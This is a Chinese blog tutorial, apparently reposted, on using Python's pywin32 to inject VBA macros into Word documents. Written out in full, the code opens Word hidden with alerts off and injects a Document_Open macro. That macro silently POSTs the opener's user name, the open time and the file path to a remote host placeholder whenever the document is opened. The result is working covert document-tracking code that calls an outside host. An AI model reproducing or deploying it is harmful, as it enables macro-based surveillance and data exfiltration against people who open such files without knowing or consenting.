python extension(pywin32) 插入宏到word

来源:互联网 发布:淘宝基础题 编辑:程序博客网 时间:2024/06/14 13:54

pywin32为python扩展包,几乎可以实现所有对office的操作,下面介绍如何利用pywin32导入宏到word,并监控word文档的打开,即当word文档打开时执行vba脚本,记录相应的打开者信息,并发送信息到远程服务器上。关于pywin32如何创建文档,操作文档,网上有很多资料,但是如何通过程序导入宏代码,目前还没有找到。之所以写这篇日志,是因为找了很多天的中文英文资料,也没有结果,突然灵光一闪,在一次意外的尝试下,竟然搞定了。代码如下:

import win32com
from win32com.client import Dispatch,constants

  #创建word应用程序实例

   docApp = win32com.client.gencache.EnsureDispatch('Word.Application')
    # run in back-control and no warnings
    docApp.Visible = 0
    docApp.DisplayAlerts = 0

 #可以利用该实例插入文档内容等等,因与主题无关,此处省略

#导入宏代码

#通过文档实例,获取VBProject的组件,其中VBComponents中的参数至关重要,因为ThisDocument表示该文档,也就是说所有这篇生成文档的操作在该组件中都可以捕获#到,那么就可以在里面创建Document_Open函数来监控文档被打开

 docCode = doc.VBProject.VBComponents("ThisDocument").CodeModule
    macro = ""

#vba.bas为宏文件,需要导入到ThisDocument,ThisDocument即对应word下,按Alt+F11,调出vba窗口,该文档下的Microsoft Word对象下的ThisDocument。
    string=open("vba.bas")
    macro=string.read()
    docCode.AddFromString(macro)

#宏代码可以在窗口中生成,左侧选择Document,右侧选择Open,会自动生成函数Document_Open。本实例中正是将提前写好的宏导入到该窗口下

#vba.bas代码如下
Private Sub Document_Open()


 Dim day As String
 Dim t As String
 Dim user As String
 Dim filepath, filename As String
 Dim sendData As String
 
  'get user name
 user = Application.UserName
 
 'get local time
  day = Date
  t = time
  ctime = day + " " + t
  'MsgBox ctime
  'get this document path
 filepath = ActiveDocument.FullName
 
 'get the open document name
 filename = ActiveDocument.Name
 
 'Create http object and send message
On Error GoTo ERR
 Set MyRequest = CreateObject("WinHttp.WinHttpRequest.5.1")
 MyRequest.Open "POST", yourhostip, False
 MyRequest.setRequestHeader "Content-Type", "application/x-www-form-urlencoded"
 sendData = "user=""" + user + """ &time=""" + ctime + """&docpath=""" + filepath + """&docname=""" + filename + """" & vbCrLf

On Error GoTo ERR
 MyRequest.Send (sendData)
 'MyRequest.Send
 MsgBox MyRequest.ResponseText
ERR:
 Exit Sub
End Sub